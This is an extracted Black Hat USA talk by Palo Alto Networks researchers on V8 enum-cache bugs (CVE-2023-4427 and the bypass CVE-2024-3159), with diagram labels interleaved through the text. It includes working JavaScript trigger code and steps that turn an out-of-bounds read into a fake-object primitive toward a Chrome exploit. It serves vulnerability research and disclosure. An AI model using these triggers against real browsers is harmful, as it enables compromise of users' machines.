0% found this document useful (0 votes)
74 views102 pages

Chrome_shell

Uploaded by

depix37288
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
74 views102 pages

Chrome_shell

Uploaded by

depix37288
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 102

Let the Cache Cache and

Let the WebAssembly Assemble:


Knocking’ on Chrome’s Shell
Edouard Bochin (@le_douds), Tao Yan (@Ga1ois) and Bo Qu
Palo Alto Networks

#BHUSA @BlackHatEvents
About Us

Security Researchers Pwn2Own Winners Conference Speakers


• Offensive Research: • Chrome/MSEdge • Black Hat (USA, EU,
• MSRC Top 10 *times Double Tap @ Asia, MEA)
• 100+ CVEs in Browser, Pwn2Own 2024 • CanSecWest
Office, Windows, PDF, Vancouver • Blue Hat
etc.
• Windows • POC
• Defensive research: Escalation of
• Threat analysis, Privilege @ • HITCON
detection research • Virus Bulletin
Pwn2Own 2021
• Patent Inventors: New • REcon
defense and detection
Vancouver
techniques • Etc.

2 #BHUSA @BlackHatEvents
Agenda

• Introduction
• Let the Cache Cache
• Tricking V8 engine enum cache
• Exploiting the enum cache vulnerability
• Let the WebAssembly Assemble
• The V8 Sandbox and WebAssembly internals
• Escaping the V8 Sandbox with the novel “field confusion”
technique
• Putting It All Together
• Summary & Takeaways

3 #BHUSA @BlackHatEvents
Introduction
Typical V8 exploit chain targeting Google Chrome without V8 Sandbox

Renderer
Memory Arbitrary Code
V8 Vuln
Corruption Read/Write Execution

Chrome
Code Sandbox
Execution Escape
Outside /OS Kernel
Chrome Vuln

4 #BHUSA @BlackHatEvents
Introduction
Typical V8 exploit chain targeting Google Chrome with V8 Sandbox

Arbitrary
Memory Read/Write V8 Sandbox
V8 Vuln
Corruption (Inside V8 Escape
Sandbox)

Chrome
Code Renderer Exploit
Sandbox
Execution Code Primitives
Escape
Outside /OS Kernel Execution outside V8
Chrome Sandbox
Vuln

5 #BHUSA @BlackHatEvents
Address Space
Known V8
Sandbox Escape V8 Sandbox
Techniques Object1

• Before V8 Sandbox Beta Raw 64bits pointer


(Chrome M123) all existing
sandbox escape techniques
relied on raw pointers Object2
stored inside the V8
Sandbox.
Raw 64bits pointer

• V8 Sandbox Beta release External


removed all the raw Object
pointers from the Sandbox,
killing all the publicly
available techniques and
their potential variants.

6 #BHUSA @BlackHatEvents
Introduction
Typical V8 exploit chain targeting Google Chrome with V8 Sandbox

Arbitrary
Memory Read/Write V8 Sandbox
V8 Vuln
Corruption (Inside V8 Escape
Sandbox)

Chrome
Code Renderer Exploit
Sandbox
Execution Code Primitives
Escape
Outside /OS Kernel Execution outside V8
Chrome Sandbox
Vuln

7 #BHUSA @BlackHatEvents
Let the Cache Cache:
Tricking V8 Engine Enum
Cache

#BHUSA @BlackHatEvents
The Basics - JavaScript Objects
Object 1
Map
const object1 = {};
Properties
object1.a = 1;
object1.b = 2; Elements
object1.c = 3; 1
object1.d = 4; In-Object
property 2
object1.e = 5;
value 3
4

Descriptor Array
Map Map
Enum Cache: Empty Map
“a” idx:0 SMI Type
“b” idx:1 SMI …
Properties
“c” idx:2 SMI Nof descriptors = 5
Map
“d” idx:3 SMI Backpointer
length
DescriptorArray
“e” idx:4 SMI 5
Transitions = NULL

9 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
Map Nof descriptors = 0 Map
Enum Cache: Empty Backpointer = NULL Properties
Descriptor Array Elements
Transitions = NULL

10 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
object1.a = 1; Map Nof descriptors = 0 Map
Enum Cache: Empty Backpointer = NULL Properties
Descriptor Array Elements
Transition 1

Descriptor Array 1 “a”


Map Map 1
Enum Cache: Empty Nof descriptors = 1
“a” idx:0 SMI Backpointer
Descriptor Array
Transitions = NULL

11 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
object1.a = 1; Map Nof descriptors = 0 Map
Enum Cache: Empty Backpointer = NULL Properties
const object2 = {};
object2.a = 1; Descriptor Array Elements
object2.b = 1; Transition 1

Descriptor Array 1 “a”


Map Map 1 Object 2
Enum Cache: Empty Nof descriptors = 1 Map
“a” idx:0 SMI Backpointer Properties
Descriptor Array Elements
Transition 1
Descriptor Array 2
Map “b” 1

Enum Cache: Empty Map 2


“a” idx:0 SMI Nof descriptors = 2
“b” Idx:1 SMI Backpointer
Descriptor Array
Transitions = NULL

12 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
object1.a = 1; Map Nof descriptors = 0 Map
Enum Cache: Empty Descriptor Array Properties
const object2 = {};
object2.a = 1; Transition Elements
object2.b = 1; “a” 1

Descriptor Array 1 Map 1


Map Nof descriptors = 1 Object 2
Enum Cache: Empty Descriptor Array Map
“a” idx:0 SMI Transition Properties
“b” Elements

Descriptor Array 2 Map 2 1

Map Nof descriptors = 2 1

Enum Cache: Empty Descriptor Array


“a” idx:0 SMI Transitions = NULL
“b” Idx:1 SMI

13 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
“a” Object 1
const object1 = {}; Descriptor Array 2 Map 1 Map
object1.a = 1;
Map Nof descriptors = 1 Properties

const object2 = {}; Enum Cache: Empty Descriptor Array Elements


object2.a = 1; “a” idx:0 SMI Transition 1
object2.b = 1; “b” idx:1 SMI “b”
Object 2
Map 2 Map
const object3 = {};
object3.a = 1; Descriptor Array 3 Nof descriptors = 2 Properties
object3.b = 1; Map Descriptor Array Elements
object3.c = 1; Enum Cache: Empty Transition 1
“a” idx:0 SMI “c” 1
“b” idx:1 SMI Map 3
Object 3
“c” idx:2 SMI Nof descriptors = 3
Map
Descriptor Array
Properties
Transitions = NULL
Elements
1
1
1
14 #BHUSA @BlackHatEvents
The Basics – For-in Loop and Enum Cache
“a” Object 1
const object1 = {}; Map 1 Map
object1.a = 1; Enum Cache 1
Nof descriptors = 1 Properties
Map
Descriptor Array Elements
const object2 = {}; Keys[2]
object2.a = 1; Transition 1
Indices[2]
object2.b = 1; “b”
Object 2
Map 2 Map
const object3 = {};
Descriptor Array 3 Nof descriptors = 2 Properties
object3.a = 1;
object3.b = 1; Map Descriptor Array Elements
object3.c = 1; Enum Cache Transition 1
“a” idx:0 SMI “c” 1
for (let key in object2) { “b” idx:1 SMI
console.log(object2[key]); Map 3 Object 3
“c” idx:2 SMI
} Nof descriptors = 3 Map
Descriptor Array Properties
Transitions = NULL Elements
Builtins_GetKeyedPropertyHandler() 1
1
1
15 #BHUSA @BlackHatEvents
The Basics – For-in Loop and Enum Cache
“a” Object 1
const object1 = {};
object1.a = 1; Map 1 Map
Enum Cache 1
Nof descriptors = 1 Properties
const object2 = {}; Map
object2.a = 1; Descriptor Array Elements
Keys[2]
object2.b = 1; Transition 1
Indices[2]
const object3 = {}; “b” Object 2
object3.a = 1;
object3.b = 1; Map 2 Map
object3.c = 1; Descriptor Array 3 Nof descriptors = 2 Properties
Map Descriptor Array Elements
function test() {
for (let key in object2) { Enum Cache Transition 1
console.log(object2[key]);
“a” idx:0 SMI “c” 1
}
} “b” idx:1 SMI
Map 3 Object 3
“c” idx:2 SMI
%PrepareFunctionForOptimization(test); Nof descriptors = 3
test(); Map
%OptimizeFunctionOnNextCall(test); Descriptor Array Properties
test(); Transitions = NULL Elements
1
1
1
16 #BHUSA @BlackHatEvents
The Basics – For-in Loop and Enum Cache

ReduceJSLoadPropertyWithEnumeratedKey()

17 #BHUSA @BlackHatEvents
CVE-2023-4427
• Discovered by Sergei Glazunov of Google Project Zero
• Reported on August 2023
• Out-Of-Bounds read in Enum Cache
• Our Pwn2Own vulnerability is a variant of CVE-2023-4427

18 #BHUSA @BlackHatEvents
CVE-2023-4427
const object1 = {}; object1.a = 1; “a” Object 1
Map 1 Map
const object2 = {}; object2.a = 1;
object2.b = 1;
Enum Cache 1 Nof descriptors = 1 Properties
Map Descriptor Array Elements
const object3 = {}; object3.a = 1;
object3.b = 1; object3.c = 1;
Keys[2] Transition 1
Indices[2]
let escape; “b” Object 2
Map 2 Map
function trigger(callback) {
for (let key in object2) { Descriptor Array 3 Nof descriptors = 2 Properties
callback(); Elements
Map Descriptor Array
escape = object2[key];
} Enum Cache Transition 1
} 1
“a” idx:0 SMI “c”
%PrepareFunctionForOptimization(trigger); “b” idx:1 SMI Map 3 Object 3
trigger(_ => _);
trigger(_ => _); “c” idx:2 SMI Nof descriptors = 3 Map
%OptimizeFunctionOnNextCall(trigger);
Descriptor Array Properties
trigger(_ => { Transitions = NULL Elements
object3.c = 1.1;
1
for (let key in object1){}
}); 1
1
19 #BHUSA @BlackHatEvents
CVE-2023-4427
// Object 1,2 and 3 Setup

let escape; ReduceJSLoadPropertyWithEnumeratedKey()


function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}

%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger); push rbp
mov rbp,rsp
trigger(_ => { push rsi
object3.c = 1.1; push rdi
for (let key in object1){} push rax
}); sub rsp,0x30
mov QWORD PTR [rbp-0x20],rsi
cmp rsp,QWORD PTR [r13-0x60]

20 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
V8::internal::MapUpdater::ConstructNewMap()
1
function trigger(callback) {
for (let key in object2) { Map 2
callback();
escape = object2[key]; Nof descriptors = 2
} DescriptorArray
}
Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
Descriptor Array 3
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){}
“b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 SMI

Indices 0 1 OOB memory… Enum Cache 1


Map
Keys[2]
Indices[2]
21 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
V8::internal::MapUpdater::ConstructNewMap()
1
function trigger(callback) {
for (let key in object2) { Map 2
callback();
escape = object2[key]; Nof descriptors = 2
} DescriptorArray
}
Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache: Empty
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){}
“b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Map2 updated with
Descriptor Array 4
because of the Map
and Descriptor Array
update of Object3

22 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Map 2
callback();
escape = object2[key]; Nof descriptors = 2
} DescriptorArray
}
Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
23 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Map 2
callback(); Access Descriptor array via Map
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r8 + 0x17]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
24 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Access Enum cache via
Map 2
callback(); Descriptor array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r14 + r9 + 0xb]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
25 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Access Indices array via Enum
Map 2
callback(); cache
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r14 + r9 + 7]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
26 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r9 + 0 + 7]
mov r11d, r9d Transition
%PrepareFunctionForOptimization(trigger); sar r11d, 1
trigger(_ => _); Descriptor Array 4
movsxd r12, r11d
trigger(_ => _); … Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
27 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [rcx + r12*2 + 0xb]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
28 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r9 + r11*4 + 7]
mov r12d, r9d Transition
%PrepareFunctionForOptimization(trigger); sar r12d, 1
trigger(_ => _); Descriptor Array 4
movsxd r15, r12d
trigger(_ => _); … Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 1
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
29 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [rcx + r15*2 + 0xb]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
30 #BHUSA @BlackHatEvents
The Patch Object 2
Map
Properties

trigger(_ => {
Elements
object3.c = 1.1; 1
for (let key in object1){}
});
1

Map 2
v8::internal::MapUpdater::ConstructNewMap(){ Nof descriptors = 2
… DescriptorArray
// If the old descriptors had an enum cache, make sure the new
ones do too. Transition
if (
old_descriptors_->enum_cache()->keys()->length() > 0 && Descriptor Array 4
new_map->NumberOfEnumerableProperties() > 0 Map
) {
Enum Cache
FastKeyAccumulator::InitializeFastPropertyEnumCache( “a” idx:0 SMI
isolate_, new_map, new_map->NumberOfEnumerableProperties());
} “b” idx:1 SMI
… “c” idx:2 Double
}
Enum Cache 2
Map
Keys[3]
Indices[3]
31 #BHUSA @BlackHatEvents
The Bypass - CVE-2024-3159

CVE-2024-3159 CVE-2023-4427
const object4 = {}; object4.a = 1;object4.b = 1; object4.d = 1;
const object1 = {}; object1.a = 1; const object1 = {}; object1.a = 1;
const object2 = {}; object2.a = 1;object2.b = 1; const object2 = {}; object2.a = 1;object2.b = 1;
const object3 = {}; object3.a = 1;object3.b = 1; object3.c = 1; const object3 = {}; object3.a = 1;object3.b = 1; object3.c = 1;

let escape; let escape;

function trigger(callback) { function trigger(callback) {


for (let key in object2) { for (let key in object2) {
callback(); callback();
escape = object2[key]; escape = object2[key];
} }
} }

%PrepareFunctionForOptimization(trigger); %PrepareFunctionForOptimization(trigger);
trigger(_ => _); trigger(_ => _);
trigger(_ => _); trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger); %OptimizeFunctionOnNextCall(trigger);

trigger(_ => { trigger(_ => {


object3.c = 1.1; object3.c = 1.1;
for (let key in object1){} for (let key in object1){}
}); });

32 #BHUSA @BlackHatEvents
The Bypass - CVE-2024-3159
const object1 = {}; object1.a = 1;
const object2 = {}; object2.a = 1; object2.b = 1;
const object3 = {}; object3.a = 1; object3.b = 1;
object3.c = 1;

let escape;

function trigger(callback) {
for (let key in object2) {
const object4 = {}; callback();
object4.a = 1; escape = object2[key];
object4.b = 1; }
}
object4.d = 1;
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

trigger(_ => {
object3.c = 1.1;
for (let key in object1){}
});

33 #BHUSA @BlackHatEvents
CVE-2024-3159
const object4 = {}; object4.a = 1; object4.b = 1; object4.d = 1;

const object1 = {}; object1.a = 1;

const object2 = {}; object2.a = 1; object2.b = 1;

const object3 = {}; object3.a = 1; object3.b = 1; object3.c = 1;

let escape;

function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}

%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

trigger(_ => {
object3.c = 1.1;
for (let key in object1){}
});

34 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 4 Object 1 Object 2 Object 3
Map Map Map Map
Properties Properties Properties Properties
Elements Elements Elements Elements
1 1 1 1
1 1 1
1 Map 1 1
Nof descriptors=1 “b” Map 2
“c”
Nof descriptors=2 Map 3
Map 4 “d” DescriptorArray
DescriptorArray Nof descriptors=3
Nof descriptors=3 Transition
Transition Array DescriptorArray
DescriptorArray
Transitions = NULL
Transitions = NULL

Descriptor Array 4 Descriptor Array 3


Map Map
Enum Cache: Empty Enum Cache: Empty
“a” idx:0 SMI “a” idx:0 SMI
“b” idx:1 SMI “b” idx:1 SMI
“d” idx:2 SMI “c” idx:2 SMI
35 #BHUSA @BlackHatEvents
CVE-2024-3159
const object4 = {}; object4.a = 1; object4.b = 1; object4.d = 1;

const object1 = {}; object1.a = 1;

const object2 = {}; object2.a = 1; object2.b = 1;

const object3 = {}; object3.a = 1; object3.b = 1; object3.c = 1;

let escape;

function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}

%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

trigger(_ => {
object3.c = 1.1;
for (let key in object1){}
});

36 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 4 Object 1 Object 2 Object 3
Map Map Map Map
Properties Properties Properties Properties
Elements Elements Elements Elements
1 1 1 1
1 1 1
1 Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 3
Map 4 DescriptorArray Nof descriptors=2
“d” Nof descriptors=3
Nof descriptors=3 Transition DescriptorArray
DescriptorArray
DescriptorArray Transition Array
Transitions = NULL
Transitions = NULL

Descriptor Array 4 Descriptor Array 3


Enum Cache 1 Map Map
Map Enum Cache Enum Cache: Empty
Keys[2] “a” idx:0 SMI “a” idx:0 SMI
Indices[2] “b” idx:1 SMI “b” idx:1 SMI
“d” idx:2 SMI “c” idx:2 SMI
37 #BHUSA @BlackHatEvents
CVE-2024-3159 Old Object 3
Object 3
Map
trigger(_ => { Properties
object3.c = 1.1; Elements
for (let key in object1){}
}); 1
1
v8::internal::MapUpdater::ConstructNewMap(){ 1
… Map 3
// If the old descriptors had an enum cache, make sure the new
ones do too. Nof descriptors=3
if (
Backpointer
old_descriptors_->enum_cache()->keys()->length() > 0 &&
new_map->NumberOfEnumerableProperties() > 0 DescriptorArray
) { Transition = NULL
FastKeyAccumulator::InitializeFastPropertyEnumCache(
isolate_, new_map, new_map->NumberOfEnumerableProperties()); Descriptor Array 3
} Map

} Enum Cache: Empty
“a” idx:0 SMI
“b” idx:1 SMI
“c” idx:2 SMI

38 #BHUSA @BlackHatEvents
CVE-2024-3159 Object 3
Map
trigger(_ => { Properties
object3.c = 1.1; Elements
for (let key in object1){}
}); 1
1
v8::internal::MapUpdater::ConstructNewMap(){ 1
… Map 5
// If the old descriptors had an enum cache, make sure the new
ones do too. Nof descriptors=3
if (
Backpointer
old_descriptors_->enum_cache()->keys()->length() > 0 &&
new_map->NumberOfEnumerableProperties() > 0 DescriptorArray
) { Transition = NULL
FastKeyAccumulator::InitializeFastPropertyEnumCache(
isolate_, new_map, new_map->NumberOfEnumerableProperties()); Descriptor Array 5
} Map

} Enum Cache: Empty
“a” idx:0 SMI
“b” idx:1 SMI
“c” idx:2 Double

39 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 4 Object 1 Object 2 Object 3
Map Map Map Map
Properties Properties Properties Properties
Elements Elements Elements Elements
1 1 1 1
1 1 1
1 Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 5
Map 4 DescriptorArray Nof descriptors=2
“d” Nof descriptors=3
Nof descriptors=3 Transition DescriptorArray
DescriptorArray
DescriptorArray Transition Array
Transitions = NULL
Transitions = NULL

Descriptor Array 4 Descriptor Array 5


Enum Cache 1 Map Map
Map Enum Cache Enum Cache: Empty
Keys[2] “a” idx:0 SMI “a” idx:0 SMI
Indices[2] “b” idx:1 SMI “b” idx:1 SMI
“d” idx:2 SMI “c” idx:2 Double
40 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 1 Object 2 Object 3
Map Map Map
Properties Properties Properties
Elements Elements Elements
1 1 1
1 1
Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 3
DescriptorArray Nof descriptors=2
Nof descriptors=3
Transition DescriptorArray
DescriptorArray
Transition Array
Transitions = NULL

Descriptor Array 5
Map
Enum Cache: Empty
“a” idx:0 SMI
“b” idx:1 SMI
“c” idx:2 Double

41 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 1 Object 2 Object 3
Map Map Map
Properties Properties Properties
Elements Elements Elements
1 1 1
1 1
Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 3
DescriptorArray Nof descriptors=2
Nof descriptors=3
Transition DescriptorArray
DescriptorArray
Transition Array
Transitions = NULL

Indices 0 OOB memory…


Descriptor Array 5
Map
trigger(_ => {
Enum Cache Enum Cache 2
object3.c = 1.1;
for (let key in object1){} “a” idx:0 SMI Map
});
“b” idx:1 SMI Keys[1]
“c” idx:2 Double Indices[1]
42 #BHUSA @BlackHatEvents
CVE-2024-3159 Object 2
Map
Properties
// Object 4, 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors=2
} … DescriptorArray
} mov r9d, dword ptr [rcx + r15*2 + 0xb]
… Transition Array
%PrepareFunctionForOptimization(trigger);
Descriptor Array 5
trigger(_ => _);
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
“b” idx:1 SMI
for (let key in object1){}
}); “c” idx:2 Double

Indices 0 OOB memory… Enum Cache 2


Map
Keys[1]
Indices[1]
43 #BHUSA @BlackHatEvents
Let the Cache Cache:
Exploiting the Enum Cache
Vulnerability

#BHUSA @BlackHatEvents
Trigger JIT Stably

%PrepareFunctionForOptimization(trigger);
trigger(_ => _); trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

for (let j = 0; j < 0x200000; j++) {


for (let j = 0; j < 0x600000; j++) { trigger(_ => _); trigger(_ => _);
trigger(_ => _); trigger(_ => _); trigger(_ => _); trigger(_ => _);
} trigger(_ => _); trigger(_ => _);
}

✗ ✓
Code density is the key!

45 #BHUSA @BlackHatEvents
Control the Out of Bounds Read
Object 2
Map
static #empty_object = {};
const object1 = CreateObject(1), object2 = Properties
CreateObject(9), object3 = CreateObject(10), Elements
object4 = CreateObject(11); Indices[1] 1

Map …
function trigger(callback) {
for (let key in object2) { Size Map 2
if (key == "p7") { 0 Nof descriptors=9
callback(); Enum Cache 2 Backpointer
return object2[key];}}
Map DescriptorArray
}
Object2[0x41424344] Keys[1] Transition
JIT(trigger);
fakeobj = trigger(function() { OOB Indices[1] …
object3.p9 = 1.1; Read String Descriptor Array 5
for (let key in object1) { }; Map
let string = String.fromCharCode.apply(null, Map
Size Enum Cache
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; “ABCD” “p0” idx:0 SMI
}); Indices[7] … … …

46 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
if (key==“p7”){ Map 2
callback(); Nof descriptors = 9
return object2[key]; DescriptorArray
}
Transition
}
} Descriptor Array 5
JIT(trigger); Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} … … …
let string = Index For-in Loop 7
“p9” Idx:10 Double
String.fromCharCode.apply(null, … … …
0x44, 0x43, 0x42, 0x41);
#empty_object[string];
});

47 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
if (key==“p7”){ Map 2
callback(); Nof descriptors = 9
return object2[key]; DescriptorArray
}
Transition
}
} Descriptor Array 5
JIT(trigger); Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
let string = Index For-in Loop 7
… … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
48 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
if (key==“p7”){ Map 2
callback(); Nof descriptors = 9
return object2[key]; DescriptorArray
}
Transition
}
} Descriptor Array 5
JIT(trigger); Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
let string = Index For-in Loop 7
… … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… 0x41424344 … Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
49 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
Get property value index via
if (key==“p7”){ Map 2
indices array
callback(); Nof descriptors = 9
return object2[key]; … DescriptorArray
} mov r9d, dword ptr [r9 + r11*4 + 7]
mov r11d, r9d Transition
}
} sar r11d, 1
Descriptor Array 5
JIT(trigger); movsxd r12, r11d
… Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
Index For-in Loop 7
let string = … … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… 0x41424344 … Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
50 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
Get property value index via
if (key==“p7”){ Map 2
indices array
callback(); Nof descriptors = 9
return object2[key]; … DescriptorArray
} mov r9d, dword ptr [rcx + r15*2 + 0xb]
… Transition
}
} Descriptor Array 5
JIT(trigger); Map
[object2+0x41424344+0xb] Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
Index For-in Loop 7
let string = … … …
String.fromCharCode.apply(null,
